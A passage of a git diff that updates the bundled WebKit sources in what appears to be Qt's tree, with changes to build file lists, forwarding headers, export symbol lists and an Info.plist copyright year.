-#include "JSSVGAngle.cpp"
-#include "JSSVGAnimateColorElement.cpp"
-#include "JSSVGAnimatedAngle.cpp"
-#include "JSSVGAnimatedBoolean.cpp"
-#include "JSSVGAnimatedEnumeration.cpp"
-#include "JSSVGAnimatedInteger.cpp"
-#include "JSSVGAnimatedLength.cpp"
-#include "JSSVGAnimatedLengthList.cpp"
-#include "JSSVGAnimatedNumber.cpp"
-#include "JSSVGAnimatedNumberList.cpp"
-#include "JSSVGAnimatedPreserveAspectRatio.cpp"
-#include "JSSVGAnimatedRect.cpp"
-#include "JSSVGAnimatedString.cpp"
-#include "JSSVGAnimatedTransformList.cpp"
-#include "JSSVGAnimateElement.cpp"
-#include "JSSVGAnimateTransformElement.cpp"
-#include "JSSVGAnimationElement.cpp"
-#include "JSSVGCircleElement.cpp"
-#include "JSSVGClipPathElement.cpp"
-#include "JSSVGColor.cpp"
-#include "JSSVGComponentTransferFunctionElement.cpp"
-#include "JSSVGCursorElement.cpp"
-#include "JSSVGDefsElement.cpp"
-#include "JSSVGDescElement.cpp"
-#include "JSSVGDocument.cpp"
-#include "JSSVGElement.cpp"
-#include "JSSVGElementInstance.cpp"
-#include "JSSVGElementInstanceList.cpp"
-#include "JSSVGEllipseElement.cpp"
-#include "JSSVGException.cpp"
-#include "JSSVGFEBlendElement.cpp"
-#include "JSSVGFEColorMatrixElement.cpp"
-#include "JSSVGFEComponentTransferElement.cpp"
-#include "JSSVGFECompositeElement.cpp"
-#include "JSSVGFEDiffuseLightingElement.cpp"
-#include "JSSVGFEDisplacementMapElement.cpp"
-#include "JSSVGFEDistantLightElement.cpp"
-#include "JSSVGFEFloodElement.cpp"
-#include "JSSVGFEFuncAElement.cpp"
-#include "JSSVGFEFuncBElement.cpp"
-#include "JSSVGFEFuncGElement.cpp"
-#include "JSSVGFEFuncRElement.cpp"
-#include "JSSVGFEGaussianBlurElement.cpp"
-#include "JSSVGFEImageElement.cpp"
-#include "JSSVGFEMergeElement.cpp"
-#include "JSSVGFEMergeNodeElement.cpp"
-#include "JSSVGFEMorphologyElement.cpp"
-#include "JSSVGFEOffsetElement.cpp"
-#include "JSSVGFEPointLightElement.cpp"
-#include "JSSVGFESpecularLightingElement.cpp"
-#include "JSSVGFESpotLightElement.cpp"
-#include "JSSVGFETileElement.cpp"
-#include "JSSVGFETurbulenceElement.cpp"
-#include "JSSVGFilterElement.cpp"
-#include "JSSVGFontElement.cpp"
-#include "JSSVGFontFaceElement.cpp"
-#include "JSSVGFontFaceFormatElement.cpp"
-#include "JSSVGFontFaceNameElement.cpp"
-#include "JSSVGFontFaceSrcElement.cpp"
-#include "JSSVGFontFaceUriElement.cpp"
-#include "JSSVGForeignObjectElement.cpp"
-#include "JSSVGGElement.cpp"
-#include "JSSVGGlyphElement.cpp"
-#include "JSSVGGradientElement.cpp"
-#include "JSSVGImageElement.cpp"
-#include "JSSVGLength.cpp"
-#include "JSSVGLengthList.cpp"
-#include "JSSVGLinearGradientElement.cpp"
-#include "JSSVGLineElement.cpp"
-#include "JSSVGMarkerElement.cpp"
-#include "JSSVGMaskElement.cpp"
-#include "JSSVGMatrix.cpp"
-#include "JSSVGMetadataElement.cpp"
-#include "JSSVGMissingGlyphElement.cpp"
-#include "JSSVGNumber.cpp"
-#include "JSSVGNumberList.cpp"
-#include "JSSVGPaint.cpp"
-#include "JSSVGPathElement.cpp"
-#include "JSSVGPathSeg.cpp"
-#include "JSSVGPathSegArcAbs.cpp"
-#include "JSSVGPathSegArcRel.cpp"
-#include "JSSVGPathSegClosePath.cpp"
-#include "JSSVGPathSegCurvetoCubicAbs.cpp"
-#include "JSSVGPathSegCurvetoCubicRel.cpp"
-#include "JSSVGPathSegCurvetoCubicSmoothAbs.cpp"
-#include "JSSVGPathSegCurvetoCubicSmoothRel.cpp"
-#include "JSSVGPathSegCurvetoQuadraticAbs.cpp"
-#include "JSSVGPathSegCurvetoQuadraticRel.cpp"
-#include "JSSVGPathSegCurvetoQuadraticSmoothAbs.cpp"
-#include "JSSVGPathSegCurvetoQuadraticSmoothRel.cpp"
-#include "JSSVGPathSegLinetoAbs.cpp"
-#include "JSSVGPathSegLinetoHorizontalAbs.cpp"
-#include "JSSVGPathSegLinetoHorizontalRel.cpp"
-#include "JSSVGPathSegLinetoRel.cpp"
-#include "JSSVGPathSegLinetoVerticalAbs.cpp"
-#include "JSSVGPathSegLinetoVerticalRel.cpp"
-#include "JSSVGPathSegList.cpp"
-#include "JSSVGPathSegMovetoAbs.cpp"
-#include "JSSVGPathSegMovetoRel.cpp"
-#include "JSSVGPatternElement.cpp"
-#include "JSSVGPoint.cpp"
-#include "JSSVGPointList.cpp"
-#include "JSSVGPolygonElement.cpp"
-#include "JSSVGPolylineElement.cpp"
-#include "JSSVGPreserveAspectRatio.cpp"
-#include "JSSVGRadialGradientElement.cpp"
-#include "JSSVGRect.cpp"
-#include "JSSVGRectElement.cpp"
-#include "JSSVGRenderingIntent.cpp"
-#include "JSSVGScriptElement.cpp"
-#include "JSSVGSetElement.cpp"
-#include "JSSVGStopElement.cpp"
-#include "JSSVGStringList.cpp"
-#include "JSSVGStyleElement.cpp"
-#include "JSSVGSVGElement.cpp"
-#include "JSSVGSwitchElement.cpp"
-#include "JSSVGSymbolElement.cpp"
-#include "JSSVGTextContentElement.cpp"
-#include "JSSVGTextElement.cpp"
-#include "JSSVGTextPathElement.cpp"
-#include "JSSVGTextPositioningElement.cpp"
-#include "JSSVGTitleElement.cpp"
-#include "JSSVGTransform.cpp"
-#include "JSSVGTransformList.cpp"
-#include "JSSVGTRefElement.cpp"
-#include "JSSVGTSpanElement.cpp"
-#include "JSSVGUnitTypes.cpp"
-#include "JSSVGUseElement.cpp"
-#include "JSSVGViewElement.cpp"
-#include "JSSVGZoomEvent.cpp"
-#include "JSText.cpp"
-#include "JSTextEvent.cpp"
-#include "JSTextMetrics.cpp"
-#include "JSTimeRanges.cpp"
-#include "JSTreeWalker.cpp"
-#include "JSUIEvent.cpp"
-#include "JSValidityState.cpp"
-#include "JSWebKitAnimationEvent.cpp"
-#include "JSWebKitCSSKeyframeRule.cpp"
-#include "JSWebKitCSSKeyframesRule.cpp"
-#include "JSWebKitCSSTransformValue.cpp"
-#include "JSWebKitCSSMatrix.cpp"
-#include "JSWebKitPoint.cpp"
-#include "JSWebKitTransitionEvent.cpp"
-#include "JSWebSocket.cpp"
-#include "JSWheelEvent.cpp"
-#include "JSWorker.cpp"
-#include "JSWorkerContext.cpp"
-#include "JSWorkerLocation.cpp"
-#include "JSWorkerNavigator.cpp"
-#include "JSXMLHttpRequest.cpp"
-#include "JSXMLHttpRequestException.cpp"
-#include "JSXMLHttpRequestProgressEvent.cpp"
-#include "JSXMLHttpRequestUpload.cpp"
-#include "JSXMLSerializer.cpp"
-#include "JSXPathEvaluator.cpp"
-#include "JSXPathException.cpp"
-#include "JSXPathExpression.cpp"
-#include "JSXPathNSResolver.cpp"
-#include "JSXPathResult.cpp"
-#include "JSXSLTProcessor.cpp"
-#include "UserAgentStyleSheetsData.cpp"
-
-// On MSVC, including StaticConstructors.h causes all global objects not to be
-// automatically initialized by the C runtime. This is useful in some specific
-// cases (e.g., the *Names.cpp files), but can be dangerous in others. We don't
-// want StaticConstructors.h to "pollute" all the source files we #include here
-// accidentally, so we'll throw an error whenever any file includes it.
-#ifdef StaticConstructors_h
-#error Do not include any file in DerivedSources.cpp that includes StaticConstructors.h
-#endif
diff --git a/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/StringBuilder.h b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/StringBuilder.h
new file mode 100644
index 0000000..115db06
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/StringBuilder.h
@@ -0,0 +1,4 @@
+#ifndef WebCore_FWD_StringBuilder_h
+#define WebCore_FWD_StringBuilder_h
+#include <JavaScriptCore/StringBuilder.h>
+#endif
diff --git a/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/UStringImpl.h b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/UStringImpl.h
new file mode 100644
index 0000000..94167a4
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/UStringImpl.h
@@ -0,0 +1,4 @@
+#ifndef WebCore_FWD_UStringImpl_h
+#define WebCore_FWD_UStringImpl_h
+#include <JavaScriptCore/UStringImpl.h>
+#endif
diff --git a/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/WeakGCMap.h b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/WeakGCMap.h
new file mode 100644
index 0000000..89432a8
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/WeakGCMap.h
@@ -0,0 +1,4 @@
+#ifndef WebCore_FWD_WeakGCMap_h
+#define WebCore_FWD_WeakGCMap_h
+#include <JavaScriptCore/WeakGCMap.h>
+#endif
diff --git a/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/WeakGCPtr.h b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/WeakGCPtr.h
new file mode 100644
index 0000000..e87f8f2
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/ForwardingHeaders/runtime/WeakGCPtr.h
@@ -0,0 +1,4 @@
+#ifndef WebCore_FWD_WeakGCPtr_h
+#define WebCore_FWD_WeakGCPtr_h
+#include <JavaScriptCore/WeakGCPtr.h>
+#endif
diff --git a/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/PtrAndFlags.h b/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/PtrAndFlags.h
deleted file mode 100644
index bb6ed9a..0000000
--- a/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/PtrAndFlags.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#ifndef WebCore_FWD_PtrAndFlags_h
-#define WebCore_FWD_PtrAndFlags_h
-#include <JavaScriptCore/PtrAndFlags.h>
-#endif
-
diff --git a/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/StringHashFunctions.h b/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/StringHashFunctions.h
new file mode 100644
index 0000000..72c1194
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/StringHashFunctions.h
@@ -0,0 +1,4 @@
+#ifndef WebCore_FWD_StringHashFunctions_h
+#define WebCore_FWD_StringHashFunctions_h
+#include <JavaScriptCore/StringHashFunctions.h>
+#endif
diff --git a/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/ValueCheck.h b/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/ValueCheck.h
new file mode 100644
index 0000000..4667674
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/ForwardingHeaders/wtf/ValueCheck.h
@@ -0,0 +1,4 @@
+#ifndef WebCore_FWD_ValueCheck_h
+#define WebCore_FWD_ValueCheck_h
+#include <JavaScriptCore/ValueCheck.h>
+#endif
diff --git a/src/3rdparty/webkit/WebCore/Info.plist b/src/3rdparty/webkit/WebCore/Info.plist
index 525a372..9c24f98 100644
--- a/src/3rdparty/webkit/WebCore/Info.plist
+++ b/src/3rdparty/webkit/WebCore/Info.plist
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="UTF-8"?>
-<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 <plist version="1.0">
 <dict>
 	<key>CFBundleDevelopmentRegion</key>
@@ -7,7 +7,7 @@
 	<key>CFBundleExecutable</key>
 	<string>${PRODUCT_NAME}</string>
 	<key>CFBundleGetInfoString</key>
-	<string>${BUNDLE_VERSION}, Copyright 2003-2009 Apple Inc.; Copyright 1997 Martin Jones &lt;mjones@kde.org&gt;; Copyright 1998, 1999 Torben Weis &lt;weis@kde.org&gt;; Copyright 1998, 1999, 2002 Waldo Bastian &lt;bastian@kde.org&gt;; Copyright 1998-2000 Lars Knoll &lt;knoll@kde.org&gt;; Copyright 1999, 2001 Antti Koivisto &lt;koivisto@kde.org&gt;; Copyright 1999-2001 Harri Porten &lt;porten@kde.org&gt;; Copyright 2000 Simon Hausmann &lt;hausmann@kde.org&gt;; Copyright 2000, 2001 Dirk Mueller &lt;mueller@kde.org&gt;; Copyright 2000, 2001 Peter Kelly &lt;pmk@post.com&gt;; Copyright 2000 Daniel Molkentin &lt;molkentin@kde.org&gt;; Copyright 2000 Stefan Schimanski &lt;schimmi@kde.org&gt;; Copyright 1998-2000 Netscape Communications Corporation; Copyright 1998, 1999, 2000 Thai Open Source Software Center Ltd and Clark Cooper; Copyright 2001, 2002 Expat maintainers.</string>
+	<string>${BUNDLE_VERSION}, Copyright 2003-2010 Apple Inc.; Copyright 1997 Martin Jones &lt;mjones@kde.org&gt;; Copyright 1998, 1999 Torben Weis &lt;weis@kde.org&gt;; Copyright 1998, 1999, 2002 Waldo Bastian &lt;bastian@kde.org&gt;; Copyright 1998-2000 Lars Knoll &lt;knoll@kde.org&gt;; Copyright 1999, 2001 Antti Koivisto &lt;koivisto@kde.org&gt;; Copyright 1999-2001 Harri Porten &lt;porten@kde.org&gt;; Copyright 2000 Simon Hausmann &lt;hausmann@kde.org&gt;; Copyright 2000, 2001 Dirk Mueller &lt;mueller@kde.org&gt;; Copyright 2000, 2001 Peter Kelly &lt;pmk@post.com&gt;; Copyright 2000 Daniel Molkentin &lt;molkentin@kde.org&gt;; Copyright 2000 Stefan Schimanski &lt;schimmi@kde.org&gt;; Copyright 1998-2000 Netscape Communications Corporation; Copyright 1998, 1999, 2000 Thai Open Source Software Center Ltd and Clark Cooper; Copyright 2001, 2002 Expat maintainers.</string>
 	<key>CFBundleIdentifier</key>
 	<string>com.apple.${PRODUCT_NAME}</string>
 	<key>CFBundleInfoDictionaryVersion</key>
diff --git a/src/3rdparty/webkit/WebCore/WebCore.ClientBasedGeolocation.exp b/src/3rdparty/webkit/WebCore/WebCore.ClientBasedGeolocation.exp
new file mode 100644
index 0000000..c624acb
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/WebCore.ClientBasedGeolocation.exp
@@ -0,0 +1,2 @@
+__ZN7WebCore21GeolocationController13errorOccurredEPNS_16GeolocationErrorE
+__ZN7WebCore21GeolocationController15positionChangedEPNS_19GeolocationPositionE
diff --git a/src/3rdparty/webkit/WebCore/WebCore.Geolocation.exp b/src/3rdparty/webkit/WebCore/WebCore.Geolocation.exp
new file mode 100644
index 0000000..296c8aa
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/WebCore.Geolocation.exp
@@ -0,0 +1,2 @@
+__ZN7WebCore22GeolocationServiceMock11setPositionEN3WTF10PassRefPtrINS_11GeopositionEEE
+__ZN7WebCore22GeolocationServiceMock8setErrorEN3WTF10PassRefPtrINS_13PositionErrorEEE
diff --git a/src/3rdparty/webkit/WebCore/WebCore.Video.exp b/src/3rdparty/webkit/WebCore/WebCore.Video.exp
index 5d35698..da79150 100644
--- a/src/3rdparty/webkit/WebCore/WebCore.Video.exp
+++ b/src/3rdparty/webkit/WebCore/WebCore.Video.exp
@@ -1,14 +1,17 @@
-__ZN7WebCore16HTMLMediaElement4playEv
-__ZN7WebCore16HTMLMediaElement5pauseEv
-__ZNK7WebCore16HTMLMediaElement6volumeEv
-__ZNK7WebCore16HTMLMediaElement7canPlayEv
-__ZNK7WebCore16HTMLMediaElement8durationEv
-__ZNK7WebCore16HTMLMediaElement5mutedEv
+__ZN7WebCore16HTMLMediaElement10screenRectEv
+__ZN7WebCore16HTMLMediaElement12endScrubbingEv
+__ZN7WebCore16HTMLMediaElement14beginScrubbingEv
+__ZN7WebCore16HTMLMediaElement14exitFullscreenEv
+__ZN7WebCore16HTMLMediaElement14setCurrentTimeEfRi
+__ZN7WebCore16HTMLMediaElement4playEb
+__ZN7WebCore16HTMLMediaElement5pauseEb
+__ZN7WebCore16HTMLMediaElement6rewindEf
 __ZN7WebCore16HTMLMediaElement8setMutedEb
 __ZN7WebCore16HTMLMediaElement9setVolumeEfRi
-__ZN7WebCore16HTMLMediaElement6rewindEf
-__ZN7WebCore16HTMLMediaElement10screenRectEv
 __ZNK7WebCore16HTMLMediaElement11currentTimeEv
 __ZNK7WebCore16HTMLMediaElement13platformMediaEv
-__ZN7WebCore16HTMLMediaElement14setCurrentTimeEfRi
-__ZN7WebCore16HTMLMediaElement14exitFullscreenEv
+__ZNK7WebCore16HTMLMediaElement21processingUserGestureEv
+__ZNK7WebCore16HTMLMediaElement5mutedEv
+__ZNK7WebCore16HTMLMediaElement6volumeEv
+__ZNK7WebCore16HTMLMediaElement7canPlayEv
+__ZNK7WebCore16HTMLMediaElement8durationEv
diff --git a/src/3rdparty/webkit/WebCore/WebCore.gypi b/src/3rdparty/webkit/WebCore/WebCore.gypi
index c0baaf4..9746b46 100644
--- a/src/3rdparty/webkit/WebCore/WebCore.gypi
+++ b/src/3rdparty/webkit/WebCore/WebCore.gypi
@@ -1,8 +1,6 @@
 {
     'variables': {
         'webcore_bindings_idl_files': [
-
-            #IDL files
             'css/CSSCharsetRule.idl',
             'css/CSSFontFaceRule.idl',
             'css/CSSImportRule.idl',
@@ -38,6 +36,8 @@
             'dom/ClientRectList.idl',
             'dom/Clipboard.idl',
             'dom/Comment.idl',
+            'dom/CompositionEvent.idl',
+            'dom/CustomEvent.idl',
             'dom/DOMCoreException.idl',
             'dom/DOMImplementation.idl',
             'dom/Document.idl',
@@ -65,41 +65,49 @@
             'dom/Notation.idl',
             'dom/OverflowEvent.idl',
             'dom/PageTransitionEvent.idl',
+            'dom/PopStateEvent.idl',
             'dom/ProcessingInstruction.idl',
             'dom/ProgressEvent.idl',
             'dom/Range.idl',
             'dom/RangeException.idl',
             'dom/Text.idl',
             'dom/TextEvent.idl',
+            'dom/Touch.idl',
+            'dom/TouchEvent.idl',
+            'dom/TouchList.idl',
             'dom/TreeWalker.idl',
             'dom/UIEvent.idl',
             'dom/WebKitAnimationEvent.idl',
             'dom/WebKitTransitionEvent.idl',
             'dom/WheelEvent.idl',
-            'html/canvas/CanvasActiveInfo.idl',
-            'html/canvas/CanvasArray.idl',
-            'html/canvas/CanvasArrayBuffer.idl',
-            'html/canvas/CanvasBuffer.idl',
-            'html/canvas/CanvasByteArray.idl',
-            'html/canvas/CanvasFloatArray.idl',
-            'html/canvas/CanvasFramebuffer.idl',
+            'html/Blob.idl',
+            'html/canvas/WebGLActiveInfo.idl',
+            'html/canvas/WebGLArray.idl',
+            'html/canvas/WebGLArrayBuffer.idl',
+            'html/canvas/WebGLBuffer.idl',
+            'html/canvas/WebGLByteArray.idl',
+            'html/canvas/WebGLContextAttributes.idl',
+            'html/canvas/WebGLFloatArray.idl',
+            'html/canvas/WebGLFramebuffer.idl',
             'html/canvas/CanvasGradient.idl',
-            'html/canvas/CanvasIntArray.idl',
+            'html/canvas/WebGLIntArray.idl',
             'html/canvas/CanvasPattern.idl',
             'html/canvas/CanvasPixelArray.idl',
-            'html/canvas/CanvasProgram.idl',
-            'html/canvas/CanvasRenderbuffer.idl',
+            'html/canvas/WebGLProgram.idl',
+            'html/canvas/WebGLRenderbuffer.idl',
             'html/canvas/CanvasRenderingContext.idl',
             'html/canvas/CanvasRenderingContext2D.idl',
-            'html/canvas/CanvasRenderingContext3D.idl',
-            'html/canvas/CanvasShader.idl',
-            'html/canvas/CanvasShortArray.idl',
-            'html/canvas/CanvasUnsignedByteArray.idl',
-            'html/canvas/CanvasUnsignedIntArray.idl',
-            'html/canvas/CanvasUnsignedShortArray.idl',
-            'html/canvas/CanvasTexture.idl',
+            'html/canvas/WebGLRenderingContext.idl',
+            'html/canvas/WebGLShader.idl',
+            'html/canvas/WebGLShortArray.idl',
+            'html/canvas/WebGLUniformLocation.idl',
+            'html/canvas/WebGLUnsignedByteArray.idl',
+            'html/canvas/WebGLUnsignedIntArray.idl',
+            'html/canvas/WebGLUnsignedShortArray.idl',
+            'html/canvas/WebGLTexture.idl',
             'html/DataGridColumn.idl',
             'html/DataGridColumnList.idl',
+            'html/DOMFormData.idl',
             'html/File.idl',
             'html/FileList.idl',
             'html/HTMLAllCollection.idl',
@@ -157,6 +165,7 @@
             'html/HTMLParagraphElement.idl',
             'html/HTMLParamElement.idl',
             'html/HTMLPreElement.idl',
+            'html/HTMLProgressElement.idl',
             'html/HTMLQuoteElement.idl',
             'html/HTMLScriptElement.idl',
             'html/HTMLSelectElement.idl',
@@ -178,7 +187,9 @@
             'html/TimeRanges.idl',
             'html/ValidityState.idl',
             'html/VoidCallback.idl',
+            'inspector/InjectedScriptHost.idl',
             'inspector/InspectorBackend.idl',
+            'inspector/InspectorFrontendHost.idl',
             'inspector/JavaScriptCallFrame.idl',
             'loader/appcache/DOMApplicationCache.idl',
             'notifications/Notification.idl',
@@ -186,8 +197,10 @@
             'page/AbstractView.idl',
             'page/BarInfo.idl',
             'page/Console.idl',
+            'page/Coordinates.idl',
             'page/DOMSelection.idl',
             'page/DOMWindow.idl',
+            'page/EventSource.idl',
             'page/Geolocation.idl',
             'page/Geoposition.idl',
             'page/History.idl',
@@ -202,12 +215,39 @@
             'plugins/Plugin.idl',
             'plugins/PluginArray.idl',
             'storage/Database.idl',
+            'storage/IDBDatabaseError.idl',
+            'storage/IDBDatabaseException.idl',
+            'storage/IDBDatabaseRequest.idl',
+            'storage/IDBRequest.idl',
+            'storage/IndexedDatabaseRequest.idl',
             'storage/SQLError.idl',
             'storage/SQLResultSet.idl',
             'storage/SQLResultSetRowList.idl',
             'storage/SQLTransaction.idl',
             'storage/Storage.idl',
             'storage/StorageEvent.idl',
+            'websockets/WebSocket.idl',
+            'workers/AbstractWorker.idl',
+            'workers/DedicatedWorkerContext.idl',
+            'workers/SharedWorker.idl',
+            'workers/SharedWorkerContext.idl',
+            'workers/Worker.idl',
+            'workers/WorkerContext.idl',
+            'workers/WorkerLocation.idl',
+            'xml/DOMParser.idl',
+            'xml/XMLHttpRequest.idl',
+            'xml/XMLHttpRequestException.idl',
+            'xml/XMLHttpRequestProgressEvent.idl',
+            'xml/XMLHttpRequestUpload.idl',
+            'xml/XMLSerializer.idl',
+            'xml/XPathEvaluator.idl',
+            'xml/XPathException.idl',
+            'xml/XPathExpression.idl',
+            'xml/XPathNSResolver.idl',
+            'xml/XPathResult.idl',
+            'xml/XSLTProcessor.idl',
+        ],
+        'webcore_svg_bindings_idl_files': [
             'svg/ElementTimeControl.idl',
             'svg/SVGAElement.idl',
             'svg/SVGAltGlyphElement.idl',
@@ -354,26 +394,6 @@
             'svg/SVGViewSpec.idl',
             'svg/SVGZoomAndPan.idl',
             'svg/SVGZoomEvent.idl',
-            'websockets/WebSocket.idl',
-            'workers/AbstractWorker.idl',
-            'workers/DedicatedWorkerContext.idl',
-            'workers/SharedWorker.idl',
-            'workers/SharedWorkerContext.idl',
-            'workers/Worker.idl',
-            'workers/WorkerContext.idl',
-            'workers/WorkerLocation.idl',
-            'xml/DOMParser.idl',
-            'xml/XMLHttpRequest.idl',
-            'xml/XMLHttpRequestException.idl',
-            'xml/XMLHttpRequestProgressEvent.idl',
-            'xml/XMLHttpRequestUpload.idl',
-            'xml/XMLSerializer.idl',
-            'xml/XPathEvaluator.idl',
-            'xml/XPathException.idl',
-            'xml/XPathExpression.idl',
-            'xml/XPathNSResolver.idl',
-            'xml/XPathResult.idl',
-            'xml/XSLTProcessor.idl',
         ],
         'webcore_files': [
 
@@ -396,10 +416,18 @@
             'accessibility/AccessibilityListBoxOption.h',
             'accessibility/AccessibilityMediaControls.cpp',
             'accessibility/AccessibilityMediaControls.h',
+            'accessibility/AccessibilityMenuList.cpp',
+            'accessibility/AccessibilityMenuList.h',
+            'accessibility/AccessibilityMenuListPopup.cpp',
+            'accessibility/AccessibilityMenuListPopup.h',
+            'accessibility/AccessibilityMenuListOption.cpp',
+            'accessibility/AccessibilityMenuListOption.h',
             'accessibility/AccessibilityObject.cpp',
             'accessibility/AccessibilityObject.h',
             'accessibility/AccessibilityRenderObject.cpp',
             'accessibility/AccessibilityRenderObject.h',
+            'accessibility/AccessibilityScrollbar.cpp',
+            'accessibility/AccessibilityScrollbar.h',
             'accessibility/AccessibilitySlider.cpp',
             'accessibility/AccessibilitySlider.h',
             'accessibility/AccessibilityTable.cpp',
@@ -428,8 +456,20 @@
             'accessibility/win/AccessibilityObjectWin.cpp',
             'accessibility/win/AccessibilityObjectWrapperWin.h',
             'accessibility/wx/AccessibilityObjectWx.cpp',
+            'bindings/generic/BindingDOMWindow.h',
+            'bindings/generic/BindingElement.h',
+            'bindings/generic/BindingSecurity.h',
+            'bindings/generic/BindingSecurityBase.cpp',
+            'bindings/generic/BindingSecurityBase.h',
+            'bindings/generic/GenericBinding.h',
+            'bindings/generic/RuntimeEnabledFeatures.cpp',
+            'bindings/generic/RuntimeEnabledFeatures.h',
             'bindings/js/CachedScriptSourceProvider.h',
             'bindings/js/DOMObjectWithSVGContext.h',
+            'bindings/js/DOMObjectHashTableMap.cpp',
+            'bindings/js/DOMObjectHashTableMap.h',
+            'bindings/js/DOMWrapperWorld.cpp',
+            'bindings/js/DOMWrapperWorld.h',
             'bindings/js/GCController.cpp',
             'bindings/js/GCController.h',
             'bindings/js/JSCallbackData.cpp',
@@ -469,6 +509,8 @@
             'bindings/js/JSDataGridDataSource.cpp',
             'bindings/js/JSDataGridDataSource.h',
             'bindings/js/JSDedicatedWorkerContextCustom.cpp',
+            'bindings/js/JSDebugWrapperSet.cpp',
+            'bindings/js/JSDebugWrapperSet.h',
             'bindings/js/JSDocumentCustom.cpp',
             'bindings/js/JSDocumentFragmentCustom.cpp',
             'bindings/js/JSDOMApplicationCacheCustom.cpp',
@@ -482,6 +524,8 @@
             'bindings/js/JSDOMWindowCustom.h',
             'bindings/js/JSDOMWindowShell.cpp',
             'bindings/js/JSDOMWindowShell.h',
+            'bindings/js/JSDOMWrapper.cpp',
+            'bindings/js/JSDOMWrapper.h',
             'bindings/js/JSElementCustom.cpp',
             'bindings/js/JSEventCustom.cpp',
             'bindings/js/JSEventListener.cpp',
@@ -517,11 +561,8 @@
             'bindings/js/JSImageConstructor.cpp',
             'bindings/js/JSImageConstructor.h',
             'bindings/js/JSImageDataCustom.cpp',
-            'bindings/js/JSInspectedObjectWrapper.cpp',
-            'bindings/js/JSInspectedObjectWrapper.h',
-            'bindings/js/JSInspectorCallbackWrapper.cpp',
-            'bindings/js/JSInspectorCallbackWrapper.h',
-            'bindings/js/JSInspectorBackendCustom.cpp',
+            'bindings/js/JSInjectedScriptHostCustom.cpp',
+            'bindings/js/JSInspectorFrontendHostCustom.cpp',
             'bindings/js/JSJavaScriptCallFrameCustom.cpp',
             'bindings/js/JSLazyEventListener.cpp',
             'bindings/js/JSLazyEventListener.h',
@@ -539,6 +580,7 @@
             'bindings/js/JSNamedNodesCollection.h',
             'bindings/js/JSNavigatorCustom.cpp',
             'bindings/js/JSNodeCustom.cpp',
+            'bindings/js/JSNodeCustom.h',
             'bindings/js/JSNodeFilterCondition.cpp',
             'bindings/js/JSNodeFilterCondition.h',
             'bindings/js/JSNodeFilterCustom.cpp',
@@ -550,8 +592,6 @@
             'bindings/js/JSPluginCustom.cpp',
             'bindings/js/JSPluginElementFunctions.cpp',
             'bindings/js/JSPluginElementFunctions.h',
-            'bindings/js/JSQuarantinedObjectWrapper.cpp',
-            'bindings/js/JSQuarantinedObjectWrapper.h',
             'bindings/js/JSRGBColor.cpp',
             'bindings/js/JSRGBColor.h',
             'bindings/js/JSSharedWorkerConstructor.cpp',
@@ -563,14 +603,14 @@
             'bindings/js/JSStorageCustom.h',
             'bindings/js/JSStyleSheetCustom.cpp',
             'bindings/js/JSStyleSheetListCustom.cpp',
+            'bindings/js/JSSVGContextCache.h',
             'bindings/js/JSSVGElementInstanceCustom.cpp',
             'bindings/js/JSSVGLengthCustom.cpp',
             'bindings/js/JSSVGMatrixCustom.cpp',
             'bindings/js/JSSVGPathSegCustom.cpp',
             'bindings/js/JSSVGPathSegListCustom.cpp',
+            'bindings/js/JSSVGPODListCustom.h',
             'bindings/js/JSSVGPODTypeWrapper.h',
-            'bindings/js/JSSVGPointListCustom.cpp',
-            'bindings/js/JSSVGTransformListCustom.cpp',
             'bindings/js/JSTextCustom.cpp',
             'bindings/js/JSTreeWalkerCustom.cpp',
             'bindings/js/JSWebKitCSSMatrixConstructor.cpp',
@@ -593,6 +633,10 @@
             'bindings/js/JSXSLTProcessorConstructor.cpp',
             'bindings/js/JSXSLTProcessorConstructor.h',
             'bindings/js/JSXSLTProcessorCustom.cpp',
+            'bindings/js/JavaScriptProfile.cpp',
+            'bindings/js/JavaScriptProfile.h',
+            'bindings/js/JavaScriptProfileNode.cpp',
+            'bindings/js/JavaScriptProfileNode.h',
             'bindings/js/ScheduledAction.cpp',
             'bindings/js/ScheduledAction.h',
             'bindings/js/ScriptArray.cpp',
@@ -617,8 +661,6 @@
             'bindings/js/ScriptInstance.h',
             'bindings/js/ScriptObject.cpp',
             'bindings/js/ScriptObject.h',
-            'bindings/js/ScriptObjectQuarantine.cpp',
-            'bindings/js/ScriptObjectQuarantine.h',
             'bindings/js/ScriptSourceCode.h',
             'bindings/js/ScriptSourceProvider.h',
             'bindings/js/ScriptState.cpp',
@@ -626,33 +668,42 @@
             'bindings/js/ScriptString.h',
             'bindings/js/ScriptValue.cpp',
             'bindings/js/ScriptValue.h',
+            'bindings/js/ScriptWrappable.h',
             'bindings/js/StringSourceProvider.h',
+            'bindings/js/WebCoreJSClientData.h',
             'bindings/js/WorkerScriptController.cpp',
             'bindings/js/WorkerScriptController.h',
